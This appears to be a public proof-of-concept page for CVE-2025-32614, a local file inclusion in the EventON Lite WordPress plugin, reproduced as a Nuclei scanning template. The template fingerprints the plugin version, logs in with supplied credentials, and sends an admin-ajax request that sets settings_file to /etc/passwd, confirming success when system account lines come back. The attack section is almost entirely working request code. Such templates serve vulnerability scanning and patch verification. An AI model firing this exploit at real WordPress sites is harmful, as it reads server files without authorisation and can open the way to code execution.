CVE-2025-32614: EventON Lite <= 2.4 - Authenticated Local File Inclusion

2026-04-16 EventON Lite PoC Public

Description

Ashan Perera EventON contains a PHP remote file inclusion caused by improper control of filename in include/require statements, letting attackers include local files, exploit requires attacker to control include filename.

PoC

id: CVE-2025-32614

info:
  name: EventON Lite <= 2.4 - Authenticated Local File Inclusion
  author: pussycat0x
  severity: high
  description: |
    Ashan Perera EventON contains a PHP remote file inclusion caused by improper control of filename in include/require statements, letting attackers include local files, exploit requires attacker to control include filename.
  impact: |
    Attackers can include arbitrary local files, potentially leading to code execution or information disclosure.
  remediation: |
    Update to the latest version of EventON or apply security patches to prevent file inclusion vulnerabilities.
  reference:
    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/eventon-lite/eventon-241-authenticated-contributor-local-file-inclusion
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2025-32614
    epss-score: 0.01851
    epss-percentile: 0.78462
    cwe-id: CWE-98
  metadata:
    verified: true
    max-request: 3
    vendor: flavor
    product: flavor
    framework: wordpress
    publicwww-query: "/wp-content/plugins/eventon-lite/"
  tags: cve,cve2025,wordpress,wp-plugin,lfi,eventon,authenticated,wp

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/eventon-lite/readme.txt"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "EventON Lite")'
          - 'compare_versions(version, "<= 2.4")'
        condition: and
        internal: true

    extractors:
      - type: regex
        name: version
        part: body
        group: 1
        regex:
          - '(?i)Stable\s+tag:\s*([0-9.]+)'
        internal: true

  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Origin: {{RootURL}}
        Content-Type: application/x-www-form-urlencoded
        Cookie: wordpress_test_cookie=WP+Cookie+check

        log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1

      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=eventon_get_secondary_settings&settings_file=/etc/passwd

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'regex("root:.*:0:0:", body)'
        condition: and
# digest: 4b0a00483046022100b6e9ec2700fd770c007732236ecc217d11c3c3fba80cf36be370ba9dfc19c067022100c849d1eaf58bb7f97f44d4a1e4bf068c41b30be5cb95ee51bcbd31f3cd874508:922c64590222798bb761d5b6d8e72950

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